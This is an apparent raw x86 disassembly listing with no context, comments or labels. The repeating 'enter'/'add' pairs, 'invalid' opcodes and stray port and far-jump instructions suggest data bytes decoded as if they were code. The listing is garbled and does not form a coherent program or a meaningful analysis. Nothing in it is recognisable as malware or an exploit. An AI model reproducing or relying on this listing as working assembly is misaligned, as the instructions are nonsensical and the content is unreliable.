salc
jmp 0x42c125
outsb dx, byte [esi]
add al, byte [edx]
add ch, byte [eax - 0x75]
invalid
mov edx, dword [edi + 0x101ebd6]
enter 0x6e87, 0xfffffffffffffff1
add dword [ecx], eax
dec ecx
enter 0x6f87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7087, 0xfffffffffffffff1
add dword [ecx], eax
jbe 0x42c103
xchg dword [ecx - 0xf], esi
add dword [ecx], eax
dec edi
enter 0x7287, 0xfffffffffffffff1
xchg dword [edx - 0xf], esi
add dword [ecx], eax
jno 0x42c111
xchg dword [ebx - 0xf], esi
add dword [ecx], eax
enter 0x7487, 0xfffffffffffffff1
add dword [ecx], eax
ja 0x42c11f
xchg dword [ebp - 0xf], esi
add dword [ecx], eax
outsb dx, byte [esi]
enter 0x7687, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7787, 0xfffffffffffffff1
add dword [ecx], eax
dec edx
enter 0x7887, 0xfffffffffffffff1
add dword [ecx], eax
arpl ax, cx
xchg dword [ecx - 0xf], edi
add dword [ecx], eax
jo 0x42c142
xchg dword [edx - 0xf], edi
add dword [ecx], eax
enter 0x7b87, 0xfffffffffffffff1
add dword [ecx], eax
outsb dx, byte [esi]
enter 0x7c87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7d87, 0xfffffffffffffff1
add dword [ecx], eax
pop ecx
enter 0x7e87, 0xfffffffffffffff1
add dword [ecx], eax
add dl, byte [ebx + eax*4 - 0xc]
pop ebp
lar eax, word [edx]
or esp, 0x35
sub eax, dword [ebx]
add ch, dl
or al, 2
add al, byte [edx]
add al, byte [eax + 0x4d]
inc edi
inc ecx
cmp byte [ebx + eax*2 + 0x4f], al
push eax
test esi, eax
push es
pop esp
push esp
pop ecx
test esi, eax
push es
and esp, 0xffffff93
out dx, eax
add al, byte [edx]
in eax, dx
push es
cmp byte [eax + eax*2], bh
inc edi
pop esp
enter 0xffffffffffff9a87, 0xfffffffffffffff1
add dword [ecx], eax
dec eax
enter 0xffffffffffff9b87, 0xfffffffffffffff1
add dword [ecx], eax
imul ecx, eax, 0xffffff87
pushfd
int1
xchg dword [ebx + 0x6b0101f1], ebx
enter 0xffffffffffff9c87, 0xfffffffffffffff1
add dword [ecx], eax
jo 0x42c1ac
xchg dword [ebp + 0x660101f1], ebx
enter 0xffffffffffff9e87, 0xfffffffffffffff1
add dword [ecx], eax
push esp
enter 0xffffffffffff9f87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa087, 0xfffffffffffffff1
add dword [ecx], eax
jne 0x42c1c8
xchg dword [ecx + 0x710101f1], esp
enter 0xffffffffffffa287, 0xfffffffffffffff1
add dword [ecx], eax
ja 0x42c1d6
xchg dword [ebx + 0x740101f1], esp
enter 0xffffffffffffa487, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa587, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa687, 0xfffffffffffffff1
add dword [ecx], eax
pop ecx
enter 0xffffffffffffa787, 0xfffffffffffffff1
add dword [ecx], eax
add dl, byte [edx - 0x7d]
ljmp 0xf283
add dword [ecx], eax
jmp 0x43fe17
sub bh, ah
add dword [ecx], eax
lea edx, [edi + 0x101e5a2]
lea eax, [edi + 0x101fea6]
add eax, 0x878b8c06
cld
add dword [ecx], eax
lea ecx, [edi + 0x101fc2a]
lea edx, [edi + 0x101e59e]
adc dword [ecx - 0x7072b3fa], edi
lcall 0xa697, 0x8d0101e5
inc byte [ecx]
add dword [0x978b8316], eax
xchg esi, eax
in eax, 1
add ecx, ecx
xchg dword [edx + 0x2010100], edi
add al, byte [edx]
add ch, ch
adc dword [ebp + 0x100ba87], ecx
add dword [ebp - 0x7874fc3e], eax
mov edx, 0x8d010100
invalid